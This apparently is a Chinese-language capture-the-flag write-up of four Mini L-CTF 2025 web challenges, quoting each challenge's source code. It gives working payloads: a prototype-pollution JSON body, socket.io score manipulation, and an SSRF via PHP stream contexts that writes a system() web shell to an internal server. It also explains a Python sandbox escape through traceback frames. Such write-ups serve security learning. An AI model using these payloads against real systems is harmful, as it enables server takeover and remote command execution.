Mini L-CTF2025 Web复现 好多游戏题,JS和 JAVA啊,一个不会啊,虽然那题Python也不太会(),美美Web爆零,但是做出来一道MISC的JS游戏题,就有点离谱….
Click and Click
一进来是个按钮,要求点到10000次,手点肯定不可能,直接看JS源码,拉到最下面可以发现关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 function wn (t, e ) { ce (e, !1 ); const r = "/update-amount" ; let n = Wr (e, "count" , 12 ); Jr (); var s = mn (); s.__click = [yn, n, r]; var o = Pt (s); Tr ( () => $r(o, `count is ${n() ?? "" } ` )), ct (t, s), he () } Br (["click" ]);var gn = Tt ("<p>什么叫“前后端分离”啊?(战术后仰)</p>" ) , bn = Tt ("<pre></pre>" ) , En = Tt ('<main><h1>Click and Click</h1> <div class="card"><!></div> <p>Click 10000 times, and something appear.</p> <!> <!></main>' ); function Rn (t ) { let e = F (0 ); var r = En () , n = qt (Pt (r), 2 ) , s = Pt (n); wn (s, { get count () { return w (e) }, set count (i ) { O (e, i, !0 ) } }); var o = qt (n, 4 ); { var l = i => { var h = gn (); ct (i, h) } ; Qt (o, i => { w (e) >= 1e3 && i (l) } ) } var u = qt (o, 2 ); { var a = i => { var h = bn (); h.textContent = ` if ( req.body.point.amount == 0 || req.body.point.amount == null) { delete req.body.point.amount } ` , ct (i, h) } ; Qt (u, i => { w (e) >= 1e4 && i (a) } ) } ct (t, r) } Vr (Rn , { target : document .getElementById ("app" ) });
但其实不用看上下文,这段看不懂也没关系,可以看到:
1 2 3 4 5 6 7 Qt (o, i => { w (e) >= 1e3 && i (l) } h.textContent = ` if ( req.body.point.amount == 0 || req.body.point.amount == null) { delete req.body.point.amount } ` ,
就能知道10000次以后会输出textContent的内容(实在不行也可以直接丢个AI的,试过是可以分析出来10000次后面输出这个的)
然后看到:
1 2 3 4 5 6 7 8 9 10 11 12 function wn (t, e ) { ce (e, !1 ); const r = "/update-amount" ; let n = Wr (e, "count" , 12 ); Jr (); var s = mn (); s.__click = [yn, n, r]; var o = Pt (s); Tr ( () => $r(o, `count is ${n() ?? "" } ` )), ct (t, s), he () }
这里每点击50次会向/update-amount发一次包,更新后端数据,而且这里更新不是add而是set ,又结合 if ( req.body.point.amount == 0 || req.body.point.amount == null) { delete req.body.point.amount }
,可以看到amount一开始就是0或者是已经被删除了,而且这个路径看起来很像原型链污染,那么想要改变他的值可以尝试污染amount的值,让他变成10000
那么怎么知道原链呢,看看事件监听器 那边的click(我也是才知道能看这个)
那么payload就很清楚了:
1 2 3 4 5 6 7 8 { "type" :"set" , "point" : { "__proto__" : { "amount" : "10000" } } }
GuessOneGuess 是一道纯JS题目,但是当时试的时候脚本一直跑不出来啊
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 module .exports = function (io ) { io.on ('connection' , (socket ) => { let targetNumber = Math .floor (Math .random () * 100 ) + 1 ; let guessCount = 0 ; let totalScore = 0 ; const FLAG = process.env .FLAG || "miniL{THIS_IS_THE_FLAG}" ; console .log (`新连接 - 目标数字: ${targetNumber} ` ); socket.emit ('game-message' , { type : 'welcome' , message : '猜一个1-100之间的数字!' , score : totalScore }); socket.on ('guess' , (data ) => { try { console .log (totalScore); const guess = parseInt (data.value ); if (isNaN (guess)) { throw new Error ('请输入有效数字' ); } if (guess < 1 || guess > 100 ) { throw new Error ('请输入1-100之间的数字' ); } guessCount++; if (guess === targetNumber) { const currentScore = Math .floor (100 / Math .pow (2 , guessCount - 1 )); totalScore += currentScore; let message = `🎉 猜对了!得分 +${currentScore} (总分数: ${totalScore} )` ; let showFlag = false ; if (totalScore > 1.7976931348623157e308 ) { message += `\n🏴 ${FLAG} ` ; showFlag = true ; } socket.emit ('game-message' , { type : 'result' , win : true , message : message, score : totalScore, showFlag : showFlag, currentScore : currentScore }); targetNumber = Math .floor (Math .random () * 100 ) + 1 ; console .log (`新目标数字: ${targetNumber} ` ); guessCount = 0 ; } else { if (guessCount >= 100 ) { console .log ("100次未猜中!将扣除当前分数并重置" ); socket.emit ('punishment' , { message : "100次未猜中!将扣除当前分数并重置" , }); return ; } socket.emit ('game-message' , { type : 'result' , win : false , message : guess < targetNumber ? '太小了!' : '太大了!' , score : totalScore }); } } catch (err) { socket.emit ('game-message' , { type : 'error' , message : err.message , score : totalScore }); } }); socket.on ('punishment-response' , (data ) => { totalScore -= data.score ; guessCount = 0 ; targetNumber = Math .floor (Math .random () * 100 ) + 1 ; console .log (`新目标数字: ${targetNumber} ` ); socket.emit ('game-message' , { type : 'result' , win : true , message : "扣除分数并重置" , score : totalScore, showFlag : false , }); }); }); };
源码的意思倒是很简单,就是让你猜数字,然后有一套自己的分数计算规则,最后总分大于1.7976931348623157e308
就给flag,一看就不可能达成,所以接着往下看:
1 2 3 4 5 6 7 8 9 10 11 12 socket.on ('punishment-response' , (data ) => { totalScore -= data.score ; guessCount = 0 ; targetNumber = Math .floor (Math .random () * 100 ) + 1 ; console .log (`新目标数字: ${targetNumber} ` ); socket.emit ('game-message' , { type : 'result' , win : true , message : "扣除分数并重置" , score : totalScore, showFlag : false , });
这段告诉我们如果触发了惩罚机制,就会扣除当前的分数并重置,而触发惩罚机制的条件是:
1 2 if (guessCount >= 100 ) { console .log ("100次未猜中!将扣除当前分数并重置" );
也就是猜错的次数 >=100,因为正常猜的话是不可能总分这么高的,那么我们可以利用惩罚机制,在第99次的时候将自己的分数通过控制器设置成为负的正无穷,然后再触发100次的惩罚机制,就可以让自己的分数变成正无穷。
那么有人会问了,为什么不可以直接控制台设置成为正无穷呢,因为你猜对了分数会被直接覆盖掉的,所以不行。
那么思路有了,就是实践,回到前端源代码部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 <!DOCTYPE html><html > <head > <title > 猜数字游戏</title > <script src ="/socket.io/socket.io.js" > </script > <style > body { font-family : Arial, sans-serif; max-width : 600px ; margin : 0 auto; padding : 20px ; } #game-area { margin-top : 30px ; }#result , #status { min-height : 24px ; padding : 10px ; margin : 10px 0 ; }#status { background : #f0f0f0 ; }#guess-input { padding : 8px ; width : 100px ; }#guess-btn { padding : 8px 16px ; }</style > </head > <body > <h1 > 猜数字游戏 (1-100)</h1 > <div id ="game-area" > <div id ="score-container" style ="margin-bottom: 10px; font-weight: bold; font-size: 1.2em" > 当前分数:<span id ="score-display" > 0</span > </div > <input type ="number" id ="guess-input" min ="1" max ="100" placeholder ="输入数字" > <button id ="guess-btn" > 猜!</button > <div id ="status" > 正在连接游戏服务器...</div > <div id ="result" > </div > <div id ="flag-display" style ="color: red; font-weight: bold; margin-top: 20px; display: none" > </div > </div > <script > document .addEventListener ('DOMContentLoaded' , () => { const resultDiv = document .getElementById ('result' ); const statusDiv = document .getElementById ('status' ); const guessBtn = document .getElementById ('guess-btn' ); const guessInput = document .getElementById ('guess-input' ); const scoreDisplay = document .getElementById ('score-display' ); const flagDisplay = document .getElementById ('flag-display' ); const socket = io (); socket.on ('connect' , () => { statusDiv.textContent = "已连接到游戏服务器!" ; guessBtn.disabled = false ; }); socket.on ('disconnect' , () => { statusDiv.textContent = "与服务器断开连接" ; guessBtn.disabled = true ; }); socket.on ('game-message' , (data ) => { if (data.score !== undefined ) { scoreDisplay.textContent = data.score ; } switch (data.type ) { case 'welcome' : resultDiv.innerHTML = `<span style="color:blue">${data.message} </span>` ; break ; case 'result' : resultDiv.innerHTML = data.win ? `<span style="color:green">${data.message} </span>` : `<span>${data.message} </span>` ; if (data.win ) { guessInput.disabled = true ; guessBtn.disabled = true ; setTimeout (() => { guessInput.disabled = false ; guessBtn.disabled = false ; guessInput.value = '' ; guessInput.focus (); }, 1500 ); if (data.showFlag ) { flagDisplay.style .display = 'block' ; flagDisplay.textContent = data.message .split ('\n' )[1 ]; } } break ; case 'error' : resultDiv.innerHTML = `<span style="color:red">错误: ${data.message} </span>` ; break ; } }); socket.on ("punishment" , (data ) => { socket.emit ("punishment-response" , { score : scoreDisplay.textContent } ); }) guessBtn.addEventListener ('click' , () => { if (!guessInput.value ) { resultDiv.innerHTML = '<span style="color:red">请输入数字</span>' ; return ; } socket.emit ('guess' , { value : guessInput.value }); guessInput.value = '' ; }); guessInput.addEventListener ('keypress' , (e ) => { if (e.key === 'Enter' ) guessBtn.click (); }); }); </script > </body > </html >
里面有一段:
1 2 3 4 5 socket.on ("punishment" , (data ) => { socket.emit ("punishment-response" , { score : scoreDisplay.textContent } ); }) const scoreDisplay = document .getElementById ('score-display' );
那么我们的payloay可以是:
1 document .getElementById ('score-display' ).textContent = -Infinity ;
但是注意:
Socket.IO 在传输数据时使用的是 JSON 序列化。如果值是 Infinity
、-Infinity
或 NaN
,这些是 不能被 JSON 表示的 ,会被序列化成 null
官方给的是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 socket = io (); socket.emit ('punishment-response' , { score : -1e308 }); socket.emit ('punishment-response' , { score : -1e308 }); for (var i=0 ;i<100 ;i++) socket.emit ('guess' , { value : i }); socket.on ( 'game-message' , (data ) => { console .log (data.message ); });
塞控制台运行,但我好像出不来???
而且最开始payload我看有人是成功的了:
二编:5.12
从 game.pug
中可以看到接收到 punishment
事件后发出 punishment-response
:
1 2 3 socket.on("punishment", (data) => { socket.emit("punishment-response", { score: scoreDisplay.textContent} ); })
这里我们创建一个新的socket会话,然后在控制台继续猜即可(不能在网页猜,因为不是同一个会话)
控制台输入:
1 const socket = io ();socket.emit ("punishment-response" , { score : -1.7976931348623157e308 } );socket.emit ("punishment-response" , { score : -1.7976931348623157e308 } );
game.pug
中发出 guess 事件是这样:socket.emit('guess', { value: guessInput.value });
,所以在控制台猜数也是这样执行,为了方便查看响应,先执行:
1 socket.on ('game-message' , (data ) => { console .log (data) })
然后就猜:
1 socket.emit ('guess' , { value : 50 });
miniLCTF{yOu_Won_The-guEs5iNg_GAmE-WoOc9d88b0}
Miniup 欸当时以为是图片二次渲染传马就试了一下,结果发现页面根本不能下载图片,然后没啥源码,就放弃了,还是菜啊…….
经验:这种类似文件上传的题目以后还是要看图片保存逻辑啊(之前的ACTF2025那题upload也是这样….)
先简单上传一个图片看看储存方式:
可以看到是对图片进行base64编码,那我们试试直接对index.php进行图片查看,发现成功读取:
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 <?php $dufs_host = '127.0.0.1'; $dufs_port = '5000'; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'upload') { if (isset($_FILES['file'])) { $file = $_FILES['file']; $filename = $file['name']; $allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp']; $file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (!in_array($file_extension, $allowed_extensions)) { echo json_encode(['success' => false, 'message' => '只允许上传图片文件']); exit; } $target_url = 'http://' . $dufs_host . ':' . $dufs_port . '/' . rawurlencode($filename); $file_content = file_get_contents($file['tmp_name']); $ch = curl_init($target_url); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT'); curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Host: ' . $dufs_host . ':' . $dufs_port, 'Origin: http://' . $dufs_host . ':' . $dufs_port, 'Referer: http://' . $dufs_host . ':' . $dufs_port . '/', 'Accept-Encoding: gzip, deflate', 'Accept: */*', 'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8', 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36', 'Content-Length: ' . strlen($file_content) ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code >= 200 && $http_code < 300) { echo json_encode(['success' => true, 'message' => '图片上传成功']); } else { echo json_encode(['success' => false, 'message' => '图片上传失败,请稍后再试']); } exit; } else { echo json_encode(['success' => false, 'message' => '未选择图片']); exit; } } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'search') { if (isset($_POST['query']) && !empty($_POST['query'])) { $search_query = $_POST['query']; if (!ctype_alnum($search_query)) { echo json_encode(['success' => false, 'message' => '只允许输入数字和字母']); exit; } $search_url = 'http://' . $dufs_host . ':' . $dufs_port . '/?q=' . urlencode($search_query) . '&json'; $ch = curl_init($search_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Host: ' . $dufs_host . ':' . $dufs_port, 'Accept: */*', 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36' ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code >= 200 && $http_code < 300) { $response_data = json_decode($response, true); if (isset($response_data['paths']) && is_array($response_data['paths'])) { $image_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp']; $filtered_paths = []; foreach ($response_data['paths'] as $item) { $file_name = $item['name']; $extension = strtolower(pathinfo($file_name, PATHINFO_EXTENSION)); if (in_array($extension, $image_extensions) || ($item['path_type'] === 'Directory')) { $filtered_paths[] = $item; } } $response_data['paths'] = $filtered_paths; echo json_encode(['success' => true, 'result' => json_encode($response_data)]); } else { echo json_encode(['success' => true, 'result' => $response]); } } else { echo json_encode(['success' => false, 'message' => '搜索失败,请稍后再试']); } exit; } else { echo json_encode(['success' => false, 'message' => '请输入搜索关键词']); exit; } } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'view') { if (isset($_POST['filename']) && !empty($_POST['filename'])) { $filename = $_POST['filename']; $file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options'])); if ($file_content !== false) { $base64_image = base64_encode($file_content); $mime_type = 'image/jpeg'; echo json_encode([ 'success' => true, 'is_image' => true, 'base64_data' => 'data:' . $mime_type . ';base64,' . $base64_image ]); } else { echo json_encode(['success' => false, 'message' => '无法获取图片']); } exit; } else { echo json_encode(['success' => false, 'message' => '请输入图片路径']); exit; } } ?> <!DOCTYPE html> <html> <head> <title>迷你图片空间</title> <meta charset="UTF-8"> <style> body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; background-color: #f0f8ff; } .section { margin-bottom: 30px; padding: 15px; border: 1px solid #add8e6; border-radius: 5px; background-color: white; box-shadow: 0 2px 5px rgba(0,0,0,0.1); } h2 { margin-top: 0; color: #4682b4; } .form-group { margin-bottom: 15px; } label { display: block; margin-bottom: 5px; font-weight: bold; color: #4682b4; } input[type="text"], input[type="file"] { width: 100%; padding: 8px; box-sizing: border-box; border: 1px solid #add8e6; border-radius: 4px; } button { padding: 10px 15px; background-color: #4682b4; color: white; border: none; border-radius: 4px; cursor: pointer; } button:hover { background-color: #5f9ea0; } .result { margin-top: 15px; padding: 10px; border: 1px solid #add8e6; border-radius: 4px; background-color: #f0f8ff; display: none; } pre { white-space: pre-wrap; word-wrap: break-word; background-color: #f5f5f5; padding: 10px; border-radius: 4px; max-height: 300px; overflow-y: auto; } </style> </head> <body> <h1>迷你图片空间</h1> <div class="section"> <h2>上传图片</h2> <form id="uploadForm" enctype="multipart/form-data"> <input type="hidden" name="action" value="upload"> <div class="form-group"> <label for="file">选择图片:</label> <input type="file" id="file" name="file" required> <small>支持所有类型的图片</small> </div> <button type="submit">上传图片</button> </form> <div id="uploadResult" class="result"></div> </div> <div class="section"> <h2>搜索图片</h2> <form id="searchForm"> <input type="hidden" name="action" value="search"> <div class="form-group"> <label for="query">搜索关键词:</label> <input type="text" id="query" name="query" required pattern="[a-zA-Z0-9]+" title="只允许输入数字和字母" placeholder="输入图片关键词(仅限数字和字母)"> </div> <button type="submit">搜索</button> </form> <div id="searchResult" class="result"> <h3>搜索结果:</h3> <div id="searchResultContent"></div> </div> </div> <div class="section"> <h2>查看图片</h2> <form id="viewForm"> <input type="hidden" name="action" value="view"> <div class="form-group"> <label for="filename">图片路径:</label> <input type="text" id="filename" name="filename" required placeholder="输入图片路径"> </div> <button type="submit">查看图片</button> </form> <div id="viewResult" class="result"> <h3>图片预览:</h3> <div id="fileContent"></div> </div> </div> <script> document.getElementById('uploadForm').addEventListener('submit', function(e) { e.preventDefault(); var formData = new FormData(this); fetch('index.php', { method: 'POST', body: formData }) .then(response => response.json()) .then(data => { var resultDiv = document.getElementById('uploadResult'); resultDiv.style.display = 'block'; resultDiv.innerHTML = data.message; resultDiv.style.color = data.success ? 'green' : 'red'; }) .catch(error => { var resultDiv = document.getElementById('uploadResult'); resultDiv.style.display = 'block'; resultDiv.innerHTML = '上传过程中发生错误'; resultDiv.style.color = 'red'; }); }); document.getElementById('searchForm').addEventListener('submit', function(e) { e.preventDefault(); var searchQuery = document.getElementById('query').value; var alphanumericRegex = /^[a-zA-Z0-9]+$/; if (!alphanumericRegex.test(searchQuery)) { var resultDiv = document.getElementById('searchResult'); resultDiv.style.display = 'block'; document.getElementById('searchResultContent').innerHTML = '<p style="color: red;">只允许输入数字和字母</p>'; return; } var formData = new FormData(this); fetch('index.php', { method: 'POST', body: formData }) .then(response => response.json()) .then(data => { var resultDiv = document.getElementById('searchResult'); resultDiv.style.display = 'block'; if (data.success) { try { var jsonData = JSON.parse(data.result); if (jsonData.paths && jsonData.paths.length > 0) { var resultHtml = '<table style="width:100%; border-collapse: collapse;">'; resultHtml += '<thead><tr style="background-color: #f2f2f2;">'; resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">名称</th>'; resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">修改时间</th>'; resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">大小</th>'; resultHtml += '<th style="text-align: left; padding: 8px; border: 1px solid #ddd;">操作</th>'; resultHtml += '</tr></thead><tbody>'; jsonData.paths.forEach(function(item) { var date = new Date(item.mtime); var formattedDate = date.toLocaleString(); var fileSize = formatFileSize(item.size); resultHtml += '<tr style="border: 1px solid #ddd;">'; resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + item.name + '</td>'; resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + formattedDate + '</td>'; resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">' + fileSize + '</td>'; resultHtml += '<td style="padding: 8px; border: 1px solid #ddd;">'; resultHtml += '<button onclick="viewFile(\'' + item.name + '\')" style="margin-right: 5px;">查看</button>'; resultHtml += '</td></tr>'; }); resultHtml += '</tbody></table>'; document.getElementById('searchResultContent').innerHTML = resultHtml; } else { document.getElementById('searchResultContent').innerHTML = '<p>没有找到匹配的图片</p>'; } } catch (e) { document.getElementById('searchResultContent').innerHTML = '<p>解析结果时出错</p>'; } } else { document.getElementById('searchResultContent').innerHTML = '<p>错误: ' + data.message + '</p>'; } }) .catch(error => { var resultDiv = document.getElementById('searchResult'); resultDiv.style.display = 'block'; document.getElementById('searchResultContent').innerHTML = '<p>搜索过程中发生错误</p>'; }); }); document.getElementById('viewForm').addEventListener('submit', function(e) { e.preventDefault(); var formData = new FormData(this); fetch('index.php', { method: 'POST', body: formData }) .then(response => response.json()) .then(data => { var resultDiv = document.getElementById('viewResult'); resultDiv.style.display = 'block'; if (data.success) { var fileContentDiv = document.getElementById('fileContent'); fileContentDiv.textContent = ''; var img = document.createElement('img'); img.src = data.base64_data; img.style.maxWidth = '100%'; img.style.display = 'block'; img.style.margin = '0 auto'; fileContentDiv.appendChild(img); } else { document.getElementById('fileContent').textContent = '错误: ' + data.message; } }) .catch(error => { console.error('错误:', error); var resultDiv = document.getElementById('viewResult'); resultDiv.style.display = 'block'; document.getElementById('fileContent').textContent = '获取图片时发生错误'; }); }); function formatFileSize(bytes) { if (bytes === 0) return '0 B'; const k = 1024; const sizes = ['B', 'KB', 'MB', 'GB', 'TB']; const i = Math.floor(Math.log(bytes) / Math.log(k)); return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i]; } function viewFile(filename) { document.getElementById('filename').value = filename; document.getElementById('viewForm').dispatchEvent(new Event('submit')); } </script> </body> </html>
这里对文件上传的管理非常严格,就可以基本放弃文件上传这一条路,然后这里的话我们可以打一个内存马(无文件传马,主要逻辑就是注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码 ),看这边的文件创建逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $target_url = 'http://' . $dufs_host . ':' . $dufs_port . '/' . rawurlencode ($filename ); $file_content = file_get_contents ($file ['tmp_name' ]); $ch = curl_init ($target_url ); curl_setopt ($ch , CURLOPT_CUSTOMREQUEST, 'PUT' ); curl_setopt ($ch , CURLOPT_POSTFIELDS, $file_content ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, true ); curl_setopt ($ch , CURLOPT_HTTPHEADER, [ 'Host: ' . $dufs_host . ':' . $dufs_port , 'Origin: http://' . $dufs_host . ':' . $dufs_port , 'Referer: http://' . $dufs_host . ':' . $dufs_port . '/' , 'Accept-Encoding: gzip, deflate' , 'Accept: */*' , 'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8' , 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36' , 'Content-Length: ' . strlen ($file_content ) ]); $response = curl_exec ($ch ); $http_code = curl_getinfo ($ch , CURLINFO_HTTP_CODE); curl_close ($ch );
这边是用PUT方法请求127.0.0.1:5000/filename,然后这个filename就是你创建文件的名字,然后我们再看到查看图片这边的逻辑:
1 2 3 4 5 if ($_SERVER ['REQUEST_METHOD' ] === 'POST' && isset ($_POST ['action' ]) && $_POST ['action' ] === 'view' ) { if (isset ($_POST ['filename' ]) && !empty ($_POST ['filename' ])) { $filename = $_POST ['filename' ]; $file_content = @file_get_contents ($filename , false , @stream_context_create ($_POST ['options' ]));
我们注意到有个@stream_context_create()
对于这个函数:
1 2 3 4 5 6 7 8 9 10 11 12 $options = [ 'http' => [ 'method' => 'GET', 'header' => "User-Agent: PHP\r\n", 'timeout' => 30 ] ]; $context = stream_context_create($options); // 使用上下文打开网页并获取内容 $content = file_get_contents('https://www.example.com', false, $context);
在这个例子中,stream_context_create
创建了一个用于 HTTP 协议的上下文,设置了请求方法为 GET
、添加了用户代理头,并设置了超时时间为 30 秒。然后使用 file_get_contents
函数和这个上下文来获取网页的内容。
那我们就可以利用这个函数,POST传入options[http][method]=PUT&&options[http][content]=<?php system($_GET['a']);?>
来实现内存马
综合payload:(POST传入)
1 action=view&filename=127.0 .0.1 :5000 /shell.php&options[http][method]=PUT&&options[http][content]=<?php system ($_GET ['a' ]);?>
然后GET传入?a=env即可
miniLCTF{Wow_1TS_N0t_5e1f-DEvEIoP3D-4Nd-H45-vUIn3r@Bi11ties!0}
PyBox 进去直接给源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from flask import Flask, request, Responseimport multiprocessingimport sysimport ioimport astapp = Flask(__name__) class SandboxVisitor (ast.NodeVisitor): forbidden_attrs = { "__class__" , "__dict__" , "__bases__" , "__mro__" , "__subclasses__" , "__globals__" , "__code__" , "__closure__" , "__func__" , "__self__" , "__module__" , "__import__" , "__builtins__" , "__base__" } def visit_Attribute (self, node ): if isinstance (node.attr, str ) and node.attr in self .forbidden_attrs: raise ValueError self .generic_visit(node) def visit_GeneratorExp (self, node ): raise ValueError def sandbox_executor (code, result_queue ): safe_builtins = { "print" : print , "filter" : filter , "list" : list , "len" : len , "addaudithook" : sys.addaudithook, "Exception" : Exception } safe_globals = {"__builtins__" : safe_builtins} sys.stdout = io.StringIO() sys.stderr = io.StringIO() try : exec (code, safe_globals) output = sys.stdout.getvalue() error = sys.stderr.getvalue() result_queue.put(("ok" , output or error)) except Exception as e: result_queue.put(("err" , str (e))) def safe_exec (code: str , timeout=1 ): code = code.encode().decode('unicode_escape' ) tree = ast.parse(code) SandboxVisitor().visit(tree) result_queue = multiprocessing.Queue() p = multiprocessing.Process(target=sandbox_executor, args=(code, result_queue)) p.start() p.join(timeout=timeout) if p.is_alive(): p.terminate() return "Timeout: code took too long to run." try : status, output = result_queue.get_nowait() return output if status == "ok" else f"Error: {output} " except : return "Error: no output from sandbox." CODE = """ def my_audit_checker(event,args): allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"] if not list(filter(lambda x: event == x, allowed_events)): raise Exception if len(args) > 0: raise Exception addaudithook(my_audit_checker) print("{}") """ badchars = "\"'|&`+-*/()[]{}_." @app.route('/' ) def index (): return open (__file__, 'r' ).read() @app.route('/execute' ,methods=['POST' ] ) def execute (): text = request.form['text' ] for char in badchars: if char in text: return Response("Error" , status=400 ) output=safe_exec(CODE.format (text)) if len (output)>5 : return Response("Error" , status=400 ) return Response(output, status=200 ) if __name__ == '__main__' : app.run(host='0.0.0.0' )
很明显这边过滤了一些字符:
然后/execute路由这边,有个CODE.format(text),再看code方法:
1 2 3 4 5 6 7 8 9 10 11 12 CODE = """ def my_audit_checker(event,args): allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"] if not list(filter(lambda x: event == x, allowed_events)): raise Exception if len(args) > 0: raise Exception addaudithook(my_audit_checker) print("{}") """
就是将{}
替换为Text
,就变成print(text)
这样的话可以闭合左右两边,在中间插入代码
比如 :
1 2 3 text=") print(" hello world") #要执行的代码夹在中间 print("
这样的话源代码就变成:
1 2 3 print ("" )print ("hello world" )print ("" )
中间的代码就被成功执行了
懂了该怎么执行之后,就要先绕 badchars = “"‘|&`+-*/()[]{}_.”
我们看到
1 2 def safe_exec(code: str, timeout=1): code = code.encode().decode('unicode_escape')
会解析unicode编码,所以我们只需要把text的内容编码一下就好了
接着看审计钩子:
1 2 3 4 5 6 def my_audit_checker (event,args ): allowed_events = ["import" , "time.sleep" , "builtins.input" , "builtins.input/result" ] if not list (filter (lambda x: event == x, allowed_events)): raise Exception if len (args) > 0 : raise Exception
这里限制了list和len,那么绕过方式直接重写list和len 就行(lambda)
PyJail覆篡改内置函数操作绕Audit Hook-先知社区
然后就是ast的绕过,禁止了生成器 与一些魔术属性与方法 ,然后就不能生成器栈帧逃逸,继承链应该也不太行的通
提升跟Exception有关,这边可以用异常栈帧逃逸
Python利用栈帧沙箱逃逸-先知社区
1 2 3 4 5 try : 1 /0 except Exception as e: frame = e.__traceback__.tb_frame.f_back builtins = frame.f_globals['__builtins__' ]
e.__traceback__
→ 指向异常发生时的 traceback 对象
traceback 里包含 tb_frame
→ 指向异常发生的 栈帧 frame 对象
frame 里包含 f_locals
、f_globals
、f_back
→ 可以沿着链条访问之前的局部变量、全局变量、调用栈
可以逃逸到exec外的全局拿__builtins__
那么Payload:(官方)
